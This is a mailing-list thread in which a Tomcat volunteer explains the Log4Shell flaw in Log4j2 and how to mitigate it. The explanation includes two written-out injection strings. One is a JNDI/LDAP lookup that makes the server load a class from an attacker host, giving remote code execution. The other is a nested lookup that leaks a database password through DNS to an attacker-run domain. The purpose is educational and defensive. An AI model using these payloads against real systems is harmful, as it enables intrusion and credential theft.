This is one of the best explanation I've seen. And it does not use the
word Minecraft to emphasis the importance.
Thank you.
Niranjan
On 12/13/21 3:36 PM, Christopher Schultz wrote:
James,
On 12/13/21 14:48, James H. H. Lampert wrote:
On 12/13/21 10:53 AM, Mark Thomas wrote:
Log4j2 supports a log message format syntax that includes JNDI lookups.
Log4j2 processes log messages repeatedly until it doesn't find any
more format strings. This means the output of one format string can
insert a new format string.
. . .
Thanks. It's starting to make sense to me now, even given that much
of it involves Java functionality I'd never heard of.
After re-reading the Veracode article in light of what you said, I
then found a couple of Wikipedia articles that further clarify
things, for me at least:
https://en.wikipedia.org/wiki/Log4j
https://en.wikipedia.org/wiki/Log4Shell
So it's the ability to resolve stuff of the general format
"${prefix:name}" within a log string, that's the problem.
It's starting to reach a point where I can wrap my 59-year-old little
grey cells around it.
As much fun as it is to talk about this stuff, "we" (ASF volunteers,
as well as many others) tend to try not to provide examples of how to
exploit vulnerabilities. In this case, all you have to do it search
GitHub for this CVE or "log4shell" on GitHub and you can see lots of
examples.
In this case, the cat is out of the bag. I'm still not going to
provide specific examples, but I can help you understand, conceptually.
The link Mark provided in a separate response has some of the dirty
details. Without talking at that level of detail, the worst attack
works essentially like this:
1. Attacker hosts an RMI server, which is a thing that allows Java
(client) applications to remotely-load .class files from other places.
This is great in an "enterprise" environment because a service can
tell a client "here is the thing you need to work with me" instead of
saying "well, if you don't have foo-bar-1.4.5.jar loaded then you can
piss off." It's handy... and seriously dangerous if you aren't careful.
Any evildoer can do this whenever they want, there is nothing stopping
them, nor is it really that damaging to the world in general. Just
like I can brew poison in my own bathtub, if nobody is drinking from
my bathtub (ew?), it's not likely to cause too much sickness or death.
2. A vulnerability is discovered and reported in log4j. This allows
log *messages* to contain JNDI lookups. This includes
attacker-controlled things like e.g.:
log.info("FYI User " + username + " just searched for search string
" + queryString);
Pretty innocuous, right? Well, if the search string looks like
${jndi:[stuff]} then ... boom.
3. JNDI lookups allow you to request that information be pulled-in
from an LDAP server. JNDI across the network is essentially the same
thing as LDAP (or "Active Directory" if that's what you use... AD is
LDAP). One of the things you can tell your JNDI lookup to do is load a
.class file over the network and use it for $stuff.
4. Remember that evil RMI server we set up in #1 above? Well, unless
you are filtering-out LDAP connections to random IPs (and, really, you
*should be*), then I as an attacking user can just go to your
application and search for
"Hey buddy lol ${jndi:/lookup?name=ldap://my.evil.ip:port/EvilObject}"
At this point, log4j will consider this string to log:
FYI User chris just searched for the search string Hey buddy lol
${jndi:/lookup?name=ldap://my.evil.ip:port/EvilObject}
Oh, look, there's a magic "${jndi:" thing in there. Let's helpfully
resolve that...
The JNDI lookup causes your server to reach-out to my.evil.ip, pull a
reference for that class across the wire, then pull the class
definition across the wire, and run the evil class code on your server.
At this point, the resulting string written to the log does make a bit
of difference. The evil code has been loaded onto your server and you
have a Bad Day.
Now, this can be mitigated in a number of ways, which is nice. My two
favorite (and incomplete) ways to mitigate this are:
1. Don't allow outgoing LDAP connections from your server. In fact, it
doesn't matter if they are LDAP or not. Don't allow outgoing
connections from your servers except the required[1] ones.
2. Recent Java versions automatically disable remote-classloading via
LDAP to prevent this kind of monkey business. But there are ways to
make it work anyway.
This is why we can't have nice things.
RCE is bad m'kay, but let's say that you don't allow outgoing network
connections AT ALL from your server, so you are TOTALLY IMMUNE from
this kind of attack. Well, RCE ain't the only thing possible.
Data exfiltration is an often-overlooked attack that can still be
pretty bad. It's "limited" to what can be found in/through JNDI but
... it's possible to find quite a bit of interesting information that
way. How? Those log messages aren't being sent to the attacker! How
can a logging leak give-out that kind of information?
It's a little complicated, but stick with me.
Let's say I search for this:
${jndi:/lookup?name=ldap://${jndi:/comp/env/jdbc/mydb/password}.my.evil.domain.com/}
Assuming that you store your JDBC password in your JNDI environment
(which is not uncommon), and I have guessed its path correctly, log4j
will first resolve the "inner" JNDI lookup converting the log message
to, for example:
${jndi:/lookup?name=ldap://TaylorSwiftRocks.my.evil.domain.com/}
Then it checks again to see if there are any remaining JNDI lookups to
be done. Oh, look! There's another one!
In this example, all outgoing network connections are prohibited,
except for DNS to my local, super-duper-trusted, definitely not evil
or compromised DNS resolver. Because we all need DNS. Java doesn't
know, yet, that the hostname listed there isn't local. It might
resolve to 127.0.0.1, which would be fine! So it has to ask the local,
trusted, etc. DNS server "hey what's the IP for
'TaylorSwiftRocks.my.evil.domain.com'". Your local, trusted,
definitely not-compromised DNS server says "*shrug* I have to go ask
the authoritative name server for my.evil.domain.com. Hang on a sec..."
Oh, did I mention that the attacker runs the authoritative name server
for my.evil.domain.com? That's important for this story. Yeah, there's
an evil name server that gets all DNS requests for my.evil.domain.com,
and it logs everything. So when your bulletproof DNS server requests
the IP address for TaylorSwiftRocks.my.evil.domain.com, I get the
following information:
1. Your server's IP address (possibly through a proxy)
2. Your database password.
Then I can return whatever the hell I want. NXDOMAIN. A 127.0.0.1.
AAAA f00:dead:beef:1::3.. it doesn't matter. I have your IP and password.
Okay, maybe I'll never be able to connect to your database from the
outside. But maybe you have other services using that password. Maybe
you have other interesting information in JNDI. All I have to do is
spam the crap our of your server with these JNDI requests and I
helpfully get a DNS lookup for anything interesting coming back to my
evil DNS authoritative name server.
If you've never seen this kind of attack explained, it can be ...
surprising. Data exfiltration is an art, and doing it through DNS is
fine art.
-chris
[1] A colleague pointed-out to me that "you need to allow DNS, and
there is nothing stopping me from running my evil RMI server on port
53 on my server." Fair point. Okay, what if I only allow connections
to my local, trusted DNS server?[2]
[2] Go back and read about how your trusty DNS server can be a conduit
for Bad Stuff.
---------------------------------------------------------------------
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org
---------------------------------------------------------------------
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org